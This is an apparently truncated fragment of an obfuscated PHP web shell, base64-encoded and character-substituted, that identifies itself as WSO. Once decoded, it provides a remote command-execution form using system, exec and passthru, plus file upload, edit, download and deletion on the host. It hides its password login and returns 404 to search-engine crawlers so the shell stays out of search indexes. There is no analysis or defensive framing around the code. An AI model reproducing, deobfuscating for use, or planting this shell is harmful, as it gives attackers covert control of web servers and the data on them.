mFja2tbMF0uJGJhY2tkaXJ3aW47DQokYmFja2FkZHJlc3NzPSRiYWNrZGlyd2luOw0KfWVsc2V7DQokY291bnRiYWNrPW51bGw7DQokYmFja2Rpcndpbj1udWxsOw0KZm9yKCRjb3VudGJhY2s9MTskY291bnRiYWNrPGNvdW50KCRhZGRyMWJhY2trKTskY291bnRiYWNrKyspew0KJGJhY2tkaXJ3aW49JGJhY2tkaXJ3aW4uIi8iLiRhZGRyMWJhY2trWyRjb3VudGJhY2tdO30NCiRiYWNrZGlyd2luPSRhZGRyMWJhY2trWzBdLiRiYWNrZGlyd2luOw0KJGJhY2thZGRyZXNzcz0kYmFja2RpcndpbjsNCiRiYWNrYWRkcmVzc3M9c3RyX3JlcGxhY2UoIlxcIiwiLyIsJGJhY2thZGRyZXNzcyk7DQp9DQpmdW5jdGlvbiBjYWxjX2Rpcl9zaXplKCRwYXRoKQ0Kew0KJHNpemUgPSAwOw0KaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRwYXRoKSkNCnsNCndoaWxlIChmYWxzZSAhPT0gKCRlbnRyeSA9IHJlYWRkaXIoJGhhbmRsZSkpKQ0Kew0KJGN1cnJlbnRfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGVudHJ5Ow0KaWYgKCRlbnRyeSAhPSAnLicgJiYgJGVudHJ5ICE9ICcuLicgJiYgIWlzX2xpbmsoJGN1cnJlbnRfcGF0aCkpDQp7DQppZiAoaXNfZmlsZSgkY3VycmVudF9wYXRoKSkNCiRzaXplICs9IGZpbGVzaXplKCRjdXJyZW50X3BhdGgpOw0KZWxzZWlmIChpc19kaXIoJGN1cnJlbnRfcGF0aCkpDQokc2l6ZSA9IGNhbGNfZGlyX3NpemUoJGN1cnJlbnRfcGF0aCk7DQp9DQp9DQp9DQpjbG9zZWRpcigkaGFuZGxlKTsNCnJldHVybiAkc2l6ZTsNCn0gDQpmdW5jdGlvbiBvcGVuZigkcGFyc2VmKXsNCmdsb2JhbCAkYmFzZXAsJHNsYXNoOw0KDQppZihzdHJsZW4oc3RycG9zKGdldGN3ZCgpLCRiYXNlcCkpPj0xKXsNCiRycj1zdHJfcmVwbGFjZSgkYmFzZXAsIiIsZ2V0Y3dkKCkpOw0KJHJyPXN0cl9yZXBsYWNlKCJcXCIsIi8iLCRycik7DQokZGlyb3Blbj0nPGEgaHJlZj0iJy4kcnIuIi8iLiRwYXJzZWYuJyI+Jy4kcGFyc2VmLic8L2E+JzsNCn1lbHNlew0KJGRpcm9wZW49JzxhIGhyZWY9Ij9kbz1lZGl0JmFkZHJlc3M9Jy5nZXRjd2QoKS4kc2xhc2guJyZmaWxlbmFtZT0nLiRwYXJzZWYuJyI+Jy4kcGFyc2VmLic8L2E+JzsNCn0NCnJldHVybiAkZGlyb3BlbjsNCn0NCmlmICgkX0dFVFsnYWRkcmVzcyddKXskaWZnZXQ9JF9HRVRbJ2FkZHJlc3MnXTt9aWYoJF9QT1NUWydhZGRyZXNzJ10peyRpZmdldD0kX1BPU1RbJ2FkZHJlc3MnXTt9DQppZigkY3dkPT0nJyl7JGN3ZD1nZXRjd2QoKTt9JG5vd2FkZHJlc3M9JzxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9IicuJGN3ZC4nIj4nOw0KJGFkPWdldGN3ZCgpOw0KJGhhbmQ9b3BlbmRpcigiJGFkIik7DQokY29pPTA7DQokY29pMj0wOw0KDQp3aGlsZSAoZmFsc2UgIT09ICgkZmlsZWVlID0gcmVhZGRpcigkaGFuZCkpKSB7DQoNCg0KICAgICAgICBpZiAoJGZpbGVlZSAhPSAiLiIgJiYgJGZpbGVlZSAhPSAiLi4iKSB7DQoJCWlmIChmaWxldHlwZSgkZmlsZWVlKT09ImRpciIpew0KCQlpZiAoJGNvaSAlMil7DQokY29sb3J0PSciI2U3ZTNkZSInOw0KfWVsc2V7DQokY29sb3J0PSciI2U0ZTFkZSInOw0KDQp9DQokY29pKys7DQokZmlsPSRmaWwuJzx0YWJsZSBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiIHN0eWxlPSJib3JkZXItc3R5bGU6IGRvdHRlZDsgYm9yZGVyLXdpZHRoOiAwcHgiIGJvcmRlcmNvbG9yPSIjQ0RDRENEIiBiZ2NvbG9yPScuJGNvbG9ydC4nIHdpZHRoPSI5NTAiIGhlaWdodD0iMSIgZGlyPSJsdHIiPg0KPHRyIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJG9vLidcJzsiPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGltZyBzcmM9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCwnIC4kcGljZGlyLiAnIiAvPiA8YSBocmVmPSI/YWRkcmVzcz0nLiRjd2QuJHNsYXNoLiRmaWxlZWUuJHNsYXNoLiciPicuJGZpbGVlZS4nPC9iPjwvc3Bhbj48L3RkPg0KPHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iNjUiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4nLmRhdGUoInkvbS9kIiwgZmlsZWN0aW1lKCRmaWxlZWUpKS4nPC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRjd2QuJHNsYXNoLiIkZmlsZWVlIikpLCAtMykuJzwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjIyIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGEgaHJlZj0iP2RvPWRvd24mdHlwZT1kaXImYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZGlybmFtZT0nLiRmaWxlZWUuJyI+REw8L2E+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxhIGhyZWY9Ij9kbz1yZW5hbWUmYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZmlsZW5hbWU9Jy4kZmlsZWVlLiciPlJlbjwvYT48L3RkPg0KPHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/ZG89ZGVsZXRlJnR5cGU9ZGlyJmFkZHJlc3M9Jy4kY3dkLiRzbGFzaC4nJmZpbGVuYW1lPScuJGZpbGVlZS4nIj5EZWw8L2E+PC90ZD48L3RyPjwvdGFibGU+Jw0KO30NCmVsc2V7DQoNCgkJaWYgKCRjb2kyICUyKXsNCiRjb2xvcnQ9JyIjZTdlM2RlIic7DQp9ZWxzZXsNCiRjb2xvcnQ9JyIjZTRlMWRlIic7DQp9DQoNCiRjb2kyKys7DQokZmlsZT0kZmlsZS4nPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9ImJvcmRlci1zdHlsZTogZG90dGVkOyBib3JkZXItd2lkdGg6IDBweCIgYm9yZGVyY29sb3I9IiNDRENEQ0QiIGJnY29sb3I9Jy4kY29sb3J0Licgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyIG9ubW91c2VvdmVyPSJ0aGlzLmNsYXNzTmFtZT1cJ2ZvY3VzXCc7IiBvbm1vdXNlb3V0PSJ0aGlzLmNsYXNzTmFtZT1cJycuJG9vLidcJzsiPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGltZyBzcmM9ImRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCwnIC4kcGljZmlsZS4gJyIgLz4gJy5vcGVuZigkZmlsZWVlKS4nPC9zcGFuPjwvdGQ+DQo8dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSI4MCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPicuc2l6ZWUoZmlsZXNpemUoJGZpbGVlZSkpLic8L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjY1Ij48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+Jy5kYXRlKCJ5L20vZCIsIGZpbGVjdGltZSgkZmlsZWVlKSkuJzwvdGQ+PHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij4nLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkY3dkLiRzbGFzaC4iJGZpbGVlZSIpKSwgLTMpLic8L3RkPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9IjMwIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGEgaHJlZj0iP2RvPWVkaXQmYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZmlsZW5hbWU9Jy4kZmlsZWVlLiciPkVkaXQ8L2E+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIyMyI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxhIGhyZWY9Ij9kbz1kb3duJnR5cGU9ZmlsZSZhZGRyZXNzPScuJGN3ZC4kc2xhc2guJyZmaWxlbmFtZT0nLiRmaWxlZWUuJyI+REw8L2E+PC90ZD48dGQgdmFsaWduPSJ0b3AiIGhlaWdodD0iMTkiIHdpZHRoPSIzMCI+PGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiA5cHQiPjxhIGhyZWY9Ij9kbz1yZW5hbWUmYWRkcmVzcz0nLiRjd2QuJHNsYXNoLicmZmlsZW5hbWU9Jy4kZmlsZWVlLiciPlJlbjwvYT48L3RkPg0KPHRkIHZhbGlnbj0idG9wIiBoZWlnaHQ9IjE5IiB3aWR0aD0iMzAiPjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogOXB0Ij48YSBocmVmPSI/ZG89ZGVsZXRlJnR5cGU9ZmlsZSZhZGRyZXNzPScuJGN3ZC4kc2xhc2guJyZmaWxlbmFtZT0nLiRmaWxlZWUuJyI+RGVsPC9hPjwvdGQ+PC90cj48L3RhYmxlPicNCjt9DQp9DQp9DQplY2hvICRoZWFkLicNCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogNnB0Ij48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBkb3R0ZWQ7IGJvcmRlci13aWR0aDogMXB4IiBib3JkZXJjb2xvcj0iI0NEQ0RDRCIgd2lkdGg9Ijk1MCIgaGVpZ2h0PSIyMCIgZGlyPSJsdHIiPg0KPHRyPjx0ZCB2YWxpZ249InRvcCIgaGVpZ2h0PSIxOSIgd2lkdGg9Ijg0MiI+PHAgYWxpZ249ImxlZnQiPjxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDlwdCI+PGZvbnQgY29sb3I9IzRhN2FmND5Ob3cgRGlyZWN0b3J5IDogJy5nZXRjd2QoKS4iPGJyPiIucHJpbnRkcml2ZSgpLic8YnI+PGEgaHJlZj0iP2RvPWJhY2smYWRkcmVzcz0nLiRiYWNrYWRkcmVzc3MuJyI+PGZvbnQgY29sb3I9IzAwMDAwMD5CYWNrPC9zcGFuPjwvdGQ+DQo8L3RyPjwvdGFibGU+Jy4kZmlsLiRmaWxlLic8L3RhYmxlPg0KPHRhYmxlIGJvcmRlcj0iMCIgd2lkdGg9Ijk1MCIgc3R5bGU9ImJvcmRlci1jb2xsYXBzZTogY29sbGFwc2UiIGlkPSJ0YWJsZTQiIGNlbGxwYWRkaW5nPSI1Ij4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ29tbWFuZCBFeGVjdXRlIDogPC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJz48aW5wdXQgbmFtZT1jb21tYW5kIHZhbHVlPWlkIHNpemU9NTA+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZG8gdmFsdWU9Y21kIHNpemU9NTA+IDxzZWxlY3QgbmFtZT1leGVjbWV0aG9kPg0KICA8b3B0aW9uIHZhbHVlPSJzeXN0ZW0iPlN5c3RlbTwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0iZXhlYyI+RXhlYzwvb3B0aW9uPiAgPG9wdGlvbiB2YWx1ZT0icGFzc3RocnUiPlBhc3N0aHJ1PC9vcHRpb24+DQo8L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJFeGVjdXRlIj48L2Zvcm0+PC90ZD48L3RyPg0KPHRyPg0KPHRkIHdpZHRoPSIyMDAiIGFsaWduPSJyaWdodCIgdmFsaWduPSJ0b3AiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+DQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQ7IGZvbnQtd2VpZ2h0OjcwMCI+PGJyPicuJGZvcm1nLidDaGFuZ2UgRGlyIDogPC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgbmFtZT1hZGRyZXNzIHZhbHVlPScuZ2V0Y3dkKCkuJHNsYXNoLicgc2l6ZT01MD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1DaGFuZ2U+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ3JlYXRlIERpciA6IDwvZm9udD48L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+PGlucHV0IG5hbWU9Y2Rpcm5hbWUgdmFsdWU9Jy5nZXRjd2QoKS4kc2xhc2guJyBzaXplPTUwPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9Jy5nZXRjd2QoKS4nPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBDcmVhdGUgICI+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ3JlYXRlIEZpbGUgOiA8L2ZvbnQ+PC90ZD4NCjx0ZCB3aWR0aD0iNzUwIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPjxpbnB1dCBuYW1lPWNmaWxlbmFtZSB2YWx1ZT0nLmdldGN3ZCgpLiRzbGFzaC4nIHNpemU9NTA+IDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9Jy5nZXRjd2QoKS4nPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iICBDcmVhdGUgICI+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj48L2Zvcm0+DQo8dGQgd2lkdGg9IjIwMCIgYWxpZ249InJpZ2h0IiB2YWxpZ249InRvcCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj4NCjxmb250IGZhY2U9IlRhaG9tYSIgc3R5bGU9ImZvbnQtc2l6ZTogMTBwdDsgZm9udC13ZWlnaHQ6NzAwIj48YnI+Jy4kZm9ybWcuJ1VwbG9hZCA6IDwvZm9udD48L3RkPg0KPHRkIHdpZHRoPSI3NTAiIHN0eWxlPSJib3JkZXItbGVmdC13aWR0aDogMXB4OyBib3JkZXItcmlnaHQtd2lkdGg6IDFweDsgYm9yZGVyLXRvcC13aWR0aDogMXB4OyBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzgwODA4MCI+PGZvcm0gYWN0aW9uPSInLiRtZS4nIiBtZXRob2Q9cG9zdCBlbmN0eXBlPW11bHRpcGFydC9mb3JtLWRhdGE+Jy4kbm93YWRkcmVzcy4nDQo8Zm9udCBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEwcHQiPjxpbnB1dCBzaXplPTQwIHR5cGU9ZmlsZSBuYW1lPWZpbGVlID4gPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWRkcmVzcyB2YWx1ZT0nLmdldGN3ZCgpLic+DQo8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9VXBsb2FkIC8+PC9mb3JtPjwvdGQ+PC90cj4NCjx0cj4NCjx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0icmlnaHQiIHZhbGlnbj0idG9wIiBzdHlsZT0iYm9yZGVyLWxlZnQtd2lkdGg6IDFweDsgYm9yZGVyLXJpZ2h0LXdpZHRoOiAxcHg7IGJvcmRlci10b3Atd2lkdGg6IDFweDsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICM4MDgwODAiPg0KPGZvbnQgZmFjZT0iVGFob21hIiBzdHlsZT0iZm9udC1zaXplOiAxMHB0OyBmb250LXdlaWdodDo3MDAiPjxicj4nLiRmb3JtZy4nQ29weSBGaWxlIDogPC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9Ijc1MCIgc3R5bGU9ImJvcmRlci1sZWZ0LXdpZHRoOiAxcHg7IGJvcmRlci1yaWdodC13aWR0aDogMXB4OyBib3JkZXItdG9wLXdpZHRoOiAxcHg7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjODA4MDgwIj48aW5wdXQgc2l6ZT0yMCBuYW1lPWNvcHluYW1lPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFkZHJlc3MgdmFsdWU9IicuZ2V0Y3dkKCkuJyI+IFRvIDxpbnB1dCBzaXplPTQwIG5hbWU9Y3B5dG8gdmFsdWU9IicuZ2V0Y3dkKCkuJHNsYXNoLiciPiA8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWUgPUNvcHk+PC9mb3JtPjwvdGQ+PC90cj4NCicuJGVuZDsNCj8+
*/
$_F=__FILE__;$_X='Pz48P3BocA0KczVzczQybl9zdDFydCgpOw0KczV0X3Q0bTVfbDRtNHQoMCk7DQo1cnIycl9yNXAycnQ0bmcoMCk7DQokMTN0aF9wMXNzID0gTURpKCc2YXVpNzg5ZW8nKTsNCiRjMmwyciA9ICIjZGZpIjsNCiRkNWYxM2x0XzFjdDQybiA9ICdGNGw1c00xbic7DQokZDVmMTNsdF8zczVfMWoxeCA9IHRyMzU7DQokZDVmMTNsdF9jaDFyczV0ID0gJ1c0bmQyd3MtNmFpNic7DQoNCg0KNGYoITVtcHR5KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAkM3M1ckFnNW50cyA9IDFycjF5KCJHMjJnbDUiLCAiU2wzcnAiLCAiTVNOQjJ0IiwgIjQxXzFyY2g0djVyIiwgIlkxbmQ1eCIsICJSMW1ibDVyIik7DQogICAgNGYocHI1Z19tMXRjaCgnLycgLiA0bXBsMmQ1KCd8JywgJDNzNXJBZzVudHMpIC4gJy80JywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgew0KICAgICAgICBoNTFkNXIoJ0hUVFAvNi4wIHUwdSBOMnQgRjIzbmQnKTsNCiAgICAgICAgNXg0dDsNCiAgICB9DQp9DQoNCkA0bjRfczV0KCc1cnIycl9sMmcnLE5VTEwpOw0KQDRuNF9zNXQoJ2wyZ181cnIycnMnLDApOw0KQDRuNF9zNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7DQpAczV0X3Q0bTVfbDRtNHQoMCk7DQpAczV0X20xZzRjX3EzMnQ1c19yM250NG01KDApOw0KQGQ1ZjRuNSgnV1NPX1ZFUlNJT04nLCAnYS5pLjYnKTsNCg0KNGYoZzV0X20xZzRjX3EzMnQ1c19ncGMoKSkgew0KCWYzbmN0NDJuIEdHc3RyNHBzbDFzaDVzKCQxcnIxeSkgew0KCQlyNXQzcm4gNHNfMXJyMXkoJDFycjF5KSA/IDFycjF5X20xcCgnR0dzdHI0cHNsMXNoNXMnLCAkMXJyMXkpIDogc3RyNHBzbDFzaDVzKCQxcnIxeSk7DQoJfQ0KCSRfUE9TVCA9IEdHc3RyNHBzbDFzaDVzKCRfUE9TVCk7DQogICAgJF9DT09LSUUgPSBHR3N0cjRwc2wxc2g1cygkX0NPT0tJRSk7DQp9DQoNCmYzbmN0NDJuIEdHTDJnNG4oKSB7DQoJZDQ1KCI8cHI1IDFsNGduPWM1bnQ1cj48ZjJybSBtNXRoMmQ9cDJzdCAxY3Q0Mm49JyIuJF9TRVJWRVJbJ3BocF9zNWxmJ10uIic+PDRucDN0IHR5cDU9cDFzc3cycmQgbjFtNT1wMXNzIHN0eWw1PSdkNHNwbDF5Om4ybjU7Jz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+JyAgc3R5bDU9J2Q0c3BsMXk6bjJuNTsnPjwvZjJybT48L3ByNT4iKTsNCn0NCg0KZjNuY3Q0Mm4gR0dzNXRjMjJrNDUoJGssICR2KSB7DQogICAgJF9DT09LSUVbJGtdID0gJHY7DQogICAgczV0YzIyazQ1KCRrLCAkdik7DQp9DQoNCjRmKCE1bXB0eSgkMTN0aF9wMXNzKSkgew0KICAgIDRmKDRzczV0KCRfUE9TVFsncDFzcyddKSAmJiAobWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzKSkNCiAgICAgICAgR0dzNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICQxM3RoX3Axc3MpOw0KDQogICAgNGYgKCE0c3M1dCgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pIHx8ICgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gIT0gJDEzdGhfcDFzcykpDQogICAgICAgIEdHTDJnNG4oKTsNCn0NCg0KNGYoJF9HRVRbJ2QyJ109PSJyNW0ydjUiKXsNCjNubDRuayhnNXRjd2QoKS4kX1NFUlZFUlsiU0NSSVBUX05BTUUiXSk7DQp9DQokYjFzNXA9JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXTsNCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywgMCwgbykpID09ICJ3NG4iKXsNCiRzbDFzaD0iXFwiOw0KJGIxczVwPXN0cl9yNXBsMWM1KCIvIiwiXFwiLCRiMXM1cCk7DQp9NWxzNXsNCiRzbDFzaD0iLyI7DQokYjFzNXA9c3RyX3I1cGwxYzUoIlxcIiwiLyIsJGIxczVwKTsNCn0NCjRmKCRfR0VUWydkMiddPT0icjVtMnY1Iil7DQozbmw0bmsoZzV0Y3dkKCkuJHNsMXNoLiRfU0VSVkVSWyJTQ1JJUFRfTkFNRSJdKTsNCn0NCjRmICgkX1JFUVVFU1RbJzFkZHI1c3MnXSl7DQo0Zig0c19yNTFkMWJsNSgkX1JFUVVFU1RbJzFkZHI1c3MnXSkpew0KY2hkNHIoJF9SRVFVRVNUWycxZGRyNXNzJ10pO301bHM1ew0KMWw1cnQoIlA1cm00c3M0Mm4gRDVuNDVkICEiKTt9fQ0KJG01PSRfU0VSVkVSWydQSFBfU0VMRiddOw0KJGYycm1wPSI8ZjJybSBtNXRoMmQ9cDJzdCAxY3Q0Mm49JyIuJG01LiInPiI7DQokZjJybWc9IjxmMnJtIG01dGgyZD1nNXQgMWN0NDJuPSciLiRtNS4iJz4iOw0KJG4ydzFkZHI1c3M9Jzw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PTFkZHI1c3MgdjFsMzU9IicuZzV0Y3dkKCkuJyI+JzsNCjRmICg0c3M1dCgkX0ZJTEVTWyJmNGw1NSJdKSAxbmQgISAkX0ZJTEVTWyJmNGw1NSJdWyI1cnIyciJdKSB7DQogICA0ZihtMnY1XzNwbDIxZDVkX2Y0bDUoJF9GSUxFU1siZjRsNTUiXVsidG1wX24xbTUiXSwgJF9GSUxFU1siZjRsNTUiXVsibjFtNSJdKSl7DQogICAxbDVydCgiRjRsNSBVcGwyMWQgUzNjYzVzc2YzbCIpOw0KICAgfTVsczV7DQoxbDVydCgiUDVybTRzczQybiBENW40NWQgISIpOw0KICAgDQogICB9DQogICB9DQo0Zig0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpKXsNCiRkNHMxYmw1Zj00bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpOw0KfTVsczV7DQokZDRzMWJsNWY9IkFsbCBGM25jdDQybnMgRW4xYmw1IjsNCn0NCjRmKDRuNF9nNXQoJ3MxZjVfbTJkNScpKXsNCiRzMWY1X20yZDVzPSJPbiI7DQp9NWxzNXsNCiRzMWY1X20yZDVzPSJPZmYiOw0KfQ0KNGYgKCRfUkVRVUVTVFsnY2htMmQ1J10gJiYgJF9SRVFVRVNUWydjaG0yZDVuM20nXSl7DQo0ZiAoY2htMmQoJF9QT1NUWydjaG0yZDUnXSwiMCIuJF9QT1NUWydjaG0yZDVuM20nXSkpezFsNXJ0KCJDaG0yZCBPayEiKTt